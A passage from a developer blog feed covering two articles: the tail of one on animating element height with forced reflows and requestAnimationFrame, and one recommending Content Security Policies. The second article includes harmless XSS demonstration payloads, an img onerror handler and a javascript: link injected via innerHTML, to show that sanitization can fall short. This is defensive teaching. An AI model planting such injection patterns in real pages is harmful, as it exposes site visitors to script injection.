  box.style.height = '0px';
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this point, we can finally queue up the animation itself. But we'll need to do so in a particular way. The browser attempts to be efficient when the DOM is modified, and if we set attributes right after another, those changes will be batched into a single reflow. There would be a single repaint, and no animation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;openButton.addEventListener('click', () =&amp;gt; {
  box.style.display = 'block';
  const targetHeight = box.clientHeight;
  box.style.height = `0px`;

  // Meaningless!
  box.style.height = targetHeight;
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To trigger an animation, we'll need to update the box's height &lt;em&gt;across reflows&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Forcing an Immediate, Synchronous Reflow
&lt;/h2&gt;

&lt;p&gt;Accessing &lt;code&gt;clientHeight&lt;/code&gt; isn't the only way to force a synchronous reflow. There are a ton of properties that must perform one in order to give you an accurate value. Paul Irish has &lt;a href="https://gist.github.com/paulirish/5d52fb081b3570c81e3a?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;a big list of them&lt;/a&gt;. We can force a reflow between setting the height to &lt;code&gt;0&lt;/code&gt; and the rendered height by doing this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;openButton.addEventListener("click", () =&amp;gt; {
  box.style.display = "block";
  const targetHeight = box.clientHeight;
  box.style.height = `0px`;

  // Forced reflow.
  box.offsetHeight;

  box.style.height = `${targetHeight}px`;
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. Just accessing the &lt;code&gt;offsetHeight&lt;/code&gt; property forces a reflow and enables our animation. We could make it even more succinct too, with one fewer forced reflow.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;openButton.addEventListener('click', () =&amp;gt; {
  box.style.display = 'block';
  box.style.height = `0px`;

  // `scrollHeight` forces a synchronous reflow!
  box.style.height = box.scrollHeight;
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After setting the height to &lt;code&gt;0&lt;/code&gt;, we immediately set it to the element's &lt;code&gt;scrollHeight&lt;/code&gt;, which allows us to measure the natural box size even when we're explicitly setting the height (another weird quirk of JavaScript in the browser). And accessing that property inadvertently causes a reflow &lt;em&gt;before&lt;/em&gt; the DOM is updated with the &lt;em&gt;new&lt;/em&gt; height. Those two height updates occur across reflows, and we get an animation. Voilà.&lt;/p&gt;

&lt;p&gt;Now, let's push a little further. It's possible to do all this a smidge more optimally, and more in concert with how the browser paints stuff to the screen. We'll just need to dance with the event loop a bit.&lt;/p&gt;

&lt;h2&gt;
  
  
  Deferring Until Natural DOM Reflows
&lt;/h2&gt;

&lt;p&gt;The browser is always orchestrating when it's appropriate to schedule reflows and paint those updates to the screen, and it comes with a tool to tap into that process: &lt;code&gt;requestAnimationFrame()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Any callback passed to it will execute just &lt;em&gt;before&lt;/em&gt; a reflow and repaint. That's why it's often used to &lt;a href="https://x.com/aidenybai/status/1874555445052145671?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;measure how long layout changes take&lt;/a&gt;, and also why you might see some yellow followed by purple in your browser's performance tools:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcdzdt6hvuwcrg8p4kx87.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcdzdt6hvuwcrg8p4kx87.png" alt="browser performance report" width="800" height="203"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With this, we can defer setting the new box height until just before the next repaint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;openButton.addEventListener("click", () =&amp;gt; {
  box.style.display = "block";
  const targetHeight = box.clientHeight;
  box.style.height = `0px`;

  requestAnimationFrame(() =&amp;gt; {
    box.style.height = box.scrollHeight;
  });
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The advantages of &lt;code&gt;requestAnimationFrame()&lt;/code&gt; are more emphasized in complex animations without CSS transitions, but there is a teeny perk in cases like this too: we wait to force a reflow &lt;em&gt;until the browser is ready to do something with it&lt;/em&gt;. You can see this play out in the browser's performance tools. Here's our earlier version without using an rAF. Notice how layout recalculation (purple) occurs as &lt;code&gt;scrollHeight&lt;/code&gt; is accessed, and right in the middle the click event handler.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu1hqzhg3rszmiww0zv3i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu1hqzhg3rszmiww0zv3i.png" alt="performance without requestAnimationFrame()" width="800" height="318"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But the reflow is deferred when queued up inside &lt;code&gt;requestAnimationFrame()&lt;/code&gt;, allowing the click handler to wrap up and give up control of the event loop a little sooner.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft6flhvf3mi40x0uab1pg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft6flhvf3mi40x0uab1pg.png" alt="using requestAnimationFrame() defers reflow" width="800" height="269"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Moreover, if the tab becomes inactive, &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/requestAnimationFrame?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;the rAF is paused&lt;/a&gt;, pushing the reflow until it's absolutely necessary. That's very nit-picky, but responsible DOM management.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sometimes, Defer Until &lt;em&gt;After&lt;/em&gt; Repaint
&lt;/h2&gt;

&lt;p&gt;You can't easily just tell which element properties trigger a synchronous reflow, and so you might end up in a position where a single &lt;code&gt;requestAnimationFrame()&lt;/code&gt; &lt;em&gt;doesn't&lt;/em&gt; trigger the animation like you'd expect. Here's an example that doesn't rely on a &lt;code&gt;scrollHeight&lt;/code&gt; access. Instead, it computes the new height early on, and assigns it just before a repaint.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;openButton.addEventListener("click", () =&amp;gt; {
  box.style.display = "block";
  const targetHeight = box.clientHeight;
  box.style.height = `0px`;

  // Might not work consistently in all browsers:
  requestAnimationFrame(() =&amp;gt; {
    box.style.height = `${targetHeight}px`;
  });
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This'll work in some browsers, but since updating the &lt;code&gt;style&lt;/code&gt; attribute of an element doesn't force an immediate reflow, others may batch that update into a single paint. Just a flash. No animation. I verified this in Firefox v133, and &lt;a href="https://stackoverflow.com/questions/75527696/await-a-reflow-using-requestanimationframe?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;this poor fellow&lt;/a&gt; ran into it as well.&lt;/p&gt;

&lt;p&gt;The solution is to assign the new height &lt;em&gt;after&lt;/em&gt; a fresh repaint. We can do that by scheduling the height change for the future &lt;em&gt;while inside&lt;/em&gt; &lt;code&gt;requestAnimationFrame()&lt;/code&gt;. Since this callback will fire just before a repaint, anything queued within it &lt;em&gt;must&lt;/em&gt; occur after the repaint is finished.&lt;/p&gt;

&lt;p&gt;You could schedule that next task with something like &lt;code&gt;setTimeout()&lt;/code&gt; or &lt;code&gt;scheduler.postTask()&lt;/code&gt;, but neither does so with regard to the repaint cycle. So, we'll just... use &lt;code&gt;requestAnimationFrame()&lt;/code&gt; again.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;openButton.addEventListener("click", () =&amp;gt; {
  box.style.display = "block";
  const targetHeight = box.clientHeight;
  box.style.height = `0px`;

  // Nested rAFs:
  requestAnimationFrame(() =&amp;gt; {
    requestAnimationFrame(() =&amp;gt; {
      box.style.height = `${targetHeight}px`;
    });
  });
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, our height will change &lt;em&gt;after&lt;/em&gt; a repaint has occurred, preventing batching, while still in harmony with browser repaints. And even in Firefox, the animation is buttery smooth. Heckuva lot more reliable than guessing a maximum height.&lt;/p&gt;

&lt;h2&gt;
  
  
  Before I Forget
&lt;/h2&gt;

&lt;p&gt;I failed to mention there's an alternative way to do all of this faster, with less code and fewer gotchas: The &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;Web Animations API&lt;/a&gt;. Set the frames you'd like to animate between and you're off to the races. The browser will manage all the nitty gritty stuff.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;openButton.addEventListener('click', () =&amp;gt; {
  box.style.display = 'block';

  box.animate([{ height: '0px' }, { height: `${box.clientHeight}px` }], {
    duration: 500,
  });
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Closing that box is simple too. Just reverse the list of frames.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function getFrames() {
  return [{ height: '0px' }, { height: `${box.clientHeight}px` }];
}

openButton.addEventListener('click', () =&amp;gt; {
  box.style.display = 'block';

  box.animate(getFrames(), {
    duration: 500,
  });
});

closeButton.addEventListener('click', () =&amp;gt; {
  const animation = box.animate(getFrames().toReversed(), {
    duration: 500,
  });

  animation.onfinish = () =&amp;gt; {
    box.style.display = '';
  };
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It's OK. All that other stuff is really important to know. It'll help you appreciate the challenges the WAAPI is positioned to solve, and hopefully bring some more insight into just how weird &amp;amp; complicated the browser is. That's worth something.&lt;/p&gt;

</description>
      <category>performance</category>
      <category>dom</category>
      <category>animation</category>
    </item>
    <item>
      <title>You Might As Well Use a Content Security Policy</title>
      <dc:creator>Alex MacArthur</dc:creator>
      <pubDate>Mon, 02 Dec 2024 18:18:55 +0000</pubDate>
      <link>https://forem.com/alexmacarthur/you-might-as-well-use-a-content-security-policy-4bel</link>
      <guid>https://forem.com/alexmacarthur/you-might-as-well-use-a-content-security-policy-4bel</guid>
      <description>&lt;p&gt;A few weeks ago, someone emailed to let me know that &lt;a href="https://jamcomments.com/?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;JamComments&lt;/a&gt; wasn’t playing nicely with his Content Security Policy (CSP). This was the first time I’d heard of the problem, which probably indicates how infrequently the feature is used, despite having been standardized since 2013 and being &lt;a href="https://caniuse.com/contentsecuritypolicy?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;extremely well-supported&lt;/a&gt; by modern browsers.&lt;/p&gt;

&lt;p&gt;At the time, JamComments used two things obstructed by even the simplest CSP: &lt;code&gt;Function&lt;/code&gt; constructors (used by Alpine.js) and JavaScript within &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags. Both of these things (including a couple other things I’ve thrown) are neutralized with a little &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag in your document:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;head&amp;gt;
  &amp;lt;!-- the CSP --&amp;gt;
  &amp;lt;meta http-equiv="Content-Security-Policy" content="script-src 'self'" /&amp;gt;
&amp;lt;/head&amp;gt;

&amp;lt;body&amp;gt;
  &amp;lt;!-- inline event handlers --&amp;gt;
  &amp;lt;button onclick="alert('nope.')"&amp;gt;click me&amp;lt;/button&amp;gt;

  &amp;lt;!-- inline script tags --&amp;gt;
  &amp;lt;script&amp;gt;
    console.log('nice try.');
  &amp;lt;/script&amp;gt;

  &amp;lt;!-- Loading scripts from other origins --&amp;gt;
  &amp;lt;!-- (jQuery's still in btw.) --&amp;gt;
  &amp;lt;script src="https://code.jquery.com/jquery-3.7.1.min.js"&amp;gt;&amp;lt;/script&amp;gt;

  &amp;lt;!-- Function constructors --&amp;gt;
  &amp;lt;script src="src/main.js"&amp;gt;&amp;lt;/script&amp;gt;
  &amp;lt;!--
    // main.js

    const no = new Function('console.log("LOL no");');

    no(2, 6);
  --&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That one-liner allows JavaScript loaded only through your own domain ("self") to execute, including inline scripts and event handlers. You'd see a mess of errors in your console trying to run that code above:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff5cb533bl9i30zjr3dj0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff5cb533bl9i30zjr3dj0.png" alt="CSP errors" width="800" height="560"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Fortunately, it was straightforward to make JamComments compliant with a policy like this. I switched to &lt;a href="https://alpinejs.dev/advanced/csp?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;Alpine's CSP build&lt;/a&gt;, began loading scripts &amp;amp; styles externally (better for caching anyway), and introduced an option to &lt;a href="https://jamcomments.com/docs/custom-host/?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;proxy assets through your own host&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;You might think the hassle burned my liking of CSPs, but actually, the opposite happened. I've moved toward liking them even more. In fact, I think every site should probably just get one, even if it's hosting simple, static content (like your blog).&lt;/p&gt;

&lt;h2&gt;
  
  
  Sanitization Backup
&lt;/h2&gt;

&lt;p&gt;If you accept any form of user-generated content (UGC), like comments, it’s a good idea to use a CSP to disable any nefarious code, even if that code is supposedly already being sanitized. As unlikely as it may be, it’s possible things could otherwise blow up in your face. A CSP is an affordable way to prevent that. A couple reasons:&lt;/p&gt;

&lt;p&gt;First, sanitization could be inadequate or overstated. Someone could claim UGC is “sanitized” by inserting code via &lt;code&gt;.innerHTML&lt;/code&gt;, for example, because it doesn’t permit  tags from executing.&amp;lt;br&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;div class="highlight"&amp;gt;&amp;lt;pre class="highlight plaintext"&amp;gt;&amp;lt;code&amp;gt;const content = document.getElementById('content');

content.innerHTML = `
  &amp;amp;lt;script&amp;amp;gt;
    console.log("will not fire!");
  &amp;amp;lt;.script&amp;amp;gt;
`;
&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;That’s true, but inline event handlers and links using the JavaScript pseudo-protocol &amp;lt;em&amp;gt;will&amp;lt;/em&amp;gt; still fire:&amp;lt;br&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;div class="highlight"&amp;gt;&amp;lt;pre class="highlight plaintext"&amp;gt;&amp;lt;code&amp;gt;const content = document.getElementById('content');

content.innerHTML = `
  &amp;amp;lt;img src="x" onerror="console.warn('imma getchu');"&amp;amp;gt;
  &amp;amp;lt;a href="javascript:alert('ur so done.')"&amp;amp;gt;Save&amp;amp;lt;/a&amp;amp;gt;
`;
&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;That leaves your attack surface area plenty large enough to still worry about, even if the &amp;amp;quot;obvious&amp;amp;quot; vulnerabilities are covered.&amp;lt;/p&amp;gt;
&amp;lt;h2&amp;gt;
  &amp;lt;a name="supply-chain-attacks" href="#supply-chain-attacks" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Supply Chain Attacks
&amp;lt;/h2&amp;gt;

&amp;lt;p&amp;gt;You might&amp;amp;#39;ve heard of the Polyfill.io &amp;lt;a href="https://fossa.com/blog/polyfill-supply-chain-attack-details-fixes/?ref=cms.macarthur.me"&amp;gt;supply chain attack&amp;lt;/a&amp;gt; exposed earlier this year. When the &amp;lt;code&amp;gt;cdn.polyfill.io&amp;lt;/code&amp;gt; domain was acquired by new owners, they began swapping out &amp;amp;quot;good&amp;amp;quot; code for something more malicious. The group specifically targeted the mobile devices of &amp;lt;a href="https://www.akamai.com/blog/security/2024-polyfill-supply-chain-attack-what-to-know?ref=cms.macarthur.me"&amp;gt;carefully selected types of users&amp;lt;/a&amp;gt;, who were then directed to scam sites. A &amp;lt;em&amp;gt;lot&amp;lt;/em&amp;gt; of sites were impacted – over 100k. And all you needed to do to make yourself vulnerable was have a Polyfill.io CDN link on your site.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;A supply chain attack is one reason why you ought to be picky about the third-party hosts you use to serve assets. Any of them could theoretically pull out the rug from under you at any moment. &amp;lt;a href="https://x.com/triblondon?ref=cms.macarthur.me"&amp;gt;Andrew Betts&amp;lt;/a&amp;gt; says it more scarily:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;a href="https://x.com/triblondon/status/1761852824739021079?ref=cms.macarthur.me"&amp;gt;&amp;lt;img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/670dadh5e1x0kpr1n10k.png" alt="screenshot of tweet describing how serious the risk of a supply chain attack is"/&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;A CSP is helpful on this front because &amp;lt;strong&amp;gt;it restricts third-party hosts to an explicit list of the ones you truly trust&amp;lt;/strong&amp;gt; (or none at all). As long as that policy&amp;amp;#39;s in place, there&amp;amp;#39;s no way anyone could accidentally or dastardly slip in something through an untrusted domain.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;And for the domains you &amp;lt;em&amp;gt;do&amp;lt;/em&amp;gt; want to permit, list them in your policy. Using the jQuery example from above:&amp;lt;br&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;div class="highlight"&amp;gt;&amp;lt;pre class="highlight plaintext"&amp;gt;&amp;lt;code&amp;gt;&amp;amp;lt;meta
  http-equiv="Content-Security-Policy"
  content="script-src 'self' code.jquery.com"
/&amp;amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;If it&amp;amp;#39;s not obvious, this &amp;lt;em&amp;gt;won&amp;amp;#39;t&amp;lt;/em&amp;gt; protect you if those trusted domains themselves are compromised, but it&amp;amp;#39;ll limit the risk. Implement this while serving as many other resources as possible through your own domain, and you&amp;amp;#39;ll be in pretty good shape.&amp;lt;/p&amp;gt;
&amp;lt;h2&amp;gt;
  &amp;lt;a name="building-your-policy" href="#building-your-policy" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Building Your Policy
&amp;lt;/h2&amp;gt;

&amp;lt;p&amp;gt;The policy that&amp;amp;#39;s &amp;amp;quot;best&amp;amp;quot; for you will heavily depend on the type of site you&amp;amp;#39;re running. Whether you allow form submissions, accept any UGC, or even if you serve content to authenticated users will all inform that policy. There are &amp;lt;em&amp;gt;plenty&amp;lt;/em&amp;gt; of directives to lock down all sorts of things (&amp;lt;a href="https://content-security-policy.com/?ref=cms.macarthur.me"&amp;gt;read about them all here&amp;lt;/a&amp;gt;). But I&amp;amp;#39;m writing this for a public, content-focused blog, so I&amp;amp;#39;ll focus there.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;One tactic for building your policy is to start aggressively and relax it from there. Here&amp;amp;#39;s a pretty locked-down policy:&amp;lt;br&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;div class="highlight"&amp;gt;&amp;lt;pre class="highlight plaintext"&amp;gt;&amp;lt;code&amp;gt;&amp;amp;lt;meta http-equiv="Content-Security-Policy" content="default-src 'self';"&amp;amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The &amp;lt;code&amp;gt;default-src&amp;lt;/code&amp;gt; directive serves as the fallback value for other directives, preventing &amp;lt;em&amp;gt;any&amp;lt;/em&amp;gt; third-party resources from being loaded. It&amp;amp;#39;s either your own domain or &amp;lt;em&amp;gt;nothing&amp;lt;/em&amp;gt;. When you first run this, it&amp;amp;#39;ll very likely break something, after which you could begin whitelisting domains, or using specific directives:&amp;lt;br&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;div class="highlight"&amp;gt;&amp;lt;pre class="highlight plaintext"&amp;gt;&amp;lt;code&amp;gt;&amp;amp;lt;meta
  http-equiv="Content-Security-Policy"
  content="
    script-src 'self'; 
    img-src 'self'; 
    style-src 'self';
    font-src 'self';"
/&amp;amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;That one will restrict all script, image, style, and font sources to your own domain. A little more chill, but still more than adequate for a blog.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;If you&amp;amp;#39;d like to start with something a little more tame, I&amp;amp;#39;d probably go with this:&amp;lt;br&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;div class="highlight"&amp;gt;&amp;lt;pre class="highlight plaintext"&amp;gt;&amp;lt;code&amp;gt;&amp;amp;lt;meta http-equiv="Content-Security-Policy" content="script-src 'self'; /&amp;amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;This would arguably protect you from the most common vulnerabilities out there (no execution of any third-party scripts) , and you could then tighten from there.&amp;lt;/p&amp;gt;
&amp;lt;h3&amp;gt;
  &amp;lt;a name="setting-a-policy-via-http-header" href="#setting-a-policy-via-http-header" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Setting a Policy via HTTP Header
&amp;lt;/h3&amp;gt;

&amp;lt;p&amp;gt;The &amp;lt;code&amp;gt;&amp;amp;lt;meta /&amp;amp;gt;&amp;lt;/code&amp;gt; tag isn&amp;amp;#39;t the only way to define a CSP. The &amp;lt;code&amp;gt;Content-Security-Policy&amp;lt;/code&amp;gt; header does the same thing, but with a couple perks.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;First, you can define a destination for violations to be reported when they occur. You&amp;amp;#39;ll need a &amp;lt;code&amp;gt;report-to&amp;lt;/code&amp;gt; directive in your policy, as well as an additional &amp;lt;code&amp;gt;Reporting-Endpoints&amp;lt;/code&amp;gt; header.&amp;lt;br&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;div class="highlight"&amp;gt;&amp;lt;pre class="highlight plaintext"&amp;gt;&amp;lt;code&amp;gt;Reporting-Endpoints: csp-endpoint='https://example.com/csp-report'
Content-Security-Policy: script-src 'self'; report-to csp-endpoint
&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;For every violation, that endpoint will receive a POST request containing a &amp;lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-to?ref=cms.macarthur.me#violation_report_syntax"&amp;gt;big, ol&amp;amp;#39; blob of JSON&amp;lt;/a&amp;gt; detailing went wrong. I can&amp;amp;#39;t immediately imagine why that information would be useful, but I&amp;amp;#39;m sure it is to someone.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Second, defining your policy with a header makes it a smidge more obfuscated, and a little more difficult for people to snoop for a loophole. They could still find it; it just wouldn&amp;amp;#39;t be right there in your HTML. They&amp;amp;#39;d need to crack open some dev tools and view the response headers of the request:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;img src="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fqcfaq1519nfxy7xhqvv.png"/&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;But even aside from that, many might prefer to have browser directives (including things like &amp;lt;code&amp;gt;Cache-Control&amp;lt;/code&amp;gt; neatly tucked away in the headers, rather than plastered in your HTML. It&amp;amp;#39;s up to you. but if you do choose to go that route, setting it is fairly simple for some of the more common modern hosts out there.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="cloudflare-pages" href="#cloudflare-pages" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  &amp;lt;a href="https://developers.cloudflare.com/pages/configuration/headers/?ref=cms.macarthur.me"&amp;gt;Cloudflare Pages&amp;lt;/a&amp;gt;
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;In a &amp;lt;code&amp;gt;_headers&amp;lt;/code&amp;gt; file at the root of your project, set it on every response from your site.&amp;lt;br&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;div class="highlight"&amp;gt;&amp;lt;pre class="highlight plaintext"&amp;gt;&amp;lt;code&amp;gt;/*
  Content-Security-Policy: script-src 'self'

&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;You could also set it in a &amp;lt;a href="https://developers.cloudflare.com/pages/functions/middleware/?ref=cms.macarthur.me"&amp;gt;middleware function&amp;lt;/a&amp;gt;.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="netlify" href="#netlify" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  &amp;lt;a href="https://docs.netlify.com/routing/headers?ref=cms.macarthur.me"&amp;gt;Netlify&amp;lt;/a&amp;gt;
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;You could use a &amp;lt;code&amp;gt;_headers&amp;lt;/code&amp;gt; file like above, or define it in your &amp;lt;code&amp;gt;netlify.toml&amp;lt;/code&amp;gt; file.&amp;lt;br&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;div class="highlight"&amp;gt;&amp;lt;pre class="highlight plaintext"&amp;gt;&amp;lt;code&amp;gt;[[headers]]
  for = "/*"
  [headers.values]
    Content-Security-Policy = "script-src 'self'"
&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="vercel" href="#vercel" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  &amp;lt;a href="https://vercel.com/docs/projects/project-configuration?ref=cms.macarthur.me#headers"&amp;gt;Vercel&amp;lt;/a&amp;gt;
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Drop it in your &amp;lt;code&amp;gt;vercel.json&amp;lt;/code&amp;gt; file.&amp;lt;br&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;div class="highlight"&amp;gt;&amp;lt;pre class="highlight plaintext"&amp;gt;&amp;lt;code&amp;gt;{
  "headers": [
    {
       "source": "/(.*)", 
       "headers": [
        {
          "key": "Content-Security-Policy", 
          "value": "script-src 'self'"
        }
      ]
    }
  ]
}

&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Or if you&amp;amp;#39;d like to do it the hard way, use &amp;lt;a href="https://vercel.com/docs/functions/edge-middleware?ref=cms.macarthur.me"&amp;gt;edge middleware&amp;lt;/a&amp;gt;.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;You get the idea.&amp;lt;/p&amp;gt;
&amp;lt;h2&amp;gt;
  &amp;lt;a name="free-value" href="#free-value" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Free Value
&amp;lt;/h2&amp;gt;

